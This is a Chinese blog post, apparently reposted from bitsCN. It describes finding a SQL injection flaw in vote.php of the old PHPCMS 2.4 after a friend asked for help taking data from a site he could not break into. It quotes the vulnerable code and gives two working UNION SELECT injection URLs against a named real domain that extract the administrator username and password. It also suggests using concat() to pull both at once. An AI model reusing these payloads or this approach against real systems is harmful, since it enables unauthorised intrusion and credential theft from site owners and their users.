PHPCMS2.4中一个有趣的洞洞
2008年10月15日星期三 | | | 今天,朋友丢来一个站,说想拿点资料,但搞了很久老搞不下,叫我帮忙看看 打开一看发现是phpcms2.4,很旧的版本了~~ 搞了一下发现存在"上传漏洞"和"远程文件包含漏洞"的页面都被删了,晕,自己挖个把,反正版本旧 挖了1个多小时,发现vote.php中有这样一段代码: ...省略.... case 'result': if(!intval($voteid)){ message('参数错误!',$PHP_REFERER); } $query = $db->query("SELECT * FROM $table_vote_subject where voteid='$voteid' and passed=1"); $vote=$db->fetch_array($query); $subject=$vote[subject]; $totalnumber=$vote[totalnumber]; $fromdate=date("Y-m-d",$vote[fromtime]); $todate=$vote[totime] ? date("Y-m-d",$vote[totime]) : ""; $query = $db->query("SELECT * FROM $table_vote_option where voteid='$voteid'"); while($op=$db->fetch_array($query)){ $op[percent1]=$totalnumber ? round(100*$op[number]/$vote[totalnumber],2)."%" : "0%"; 网管网www_bitscn_com $op[percent2]=$totalnumber ? (100-round(100*$op[number]/$vote[totalnumber],0))."%" : "100%"; $ops[]=$op; } include template('vote_result'); break; } ....省略.... 代码没问题把?真的吗?再仔细看看!! "if(!intval($voteid))" 这句代码的意思是啥? 如果提交过来的数据是整型并且不存在于数据库中的话,就返回"参数错误"。 那如果我们提交的数据不是整型呢?如果我们提交的数据不是整型,那么不管提交的数据是否存在于数据库中都不会返回"参数错误"的提示了,这样,注入漏洞就产生了~~哈哈 分别提交 "http://www.cndrt.cn/vote.php?action=result&;voteid=8%20and%201=2%20union%20select%201,username,3,4,5,6,7,8,9,10,11,12,13%20from%20phpcms_member%20where%20userid=1/*"" "http://www.cndrt.cn/vote.php?action=result&;voteid=8%20and%201=2%20union%20select%201,password,3,4,5,6,7,8,9,10,11,12,13%20from%20phpcms_member%20where%20userid=1/*"" 就能查出管理员了 当然你也可以用concat()把账号密码同时抓出来~ 【转自www.bitsCN.com】 我的QQ空间 sdrsf 交谈中请勿轻信汇款、中奖消息,勿轻易拨打陌生电话。小熊<qw... |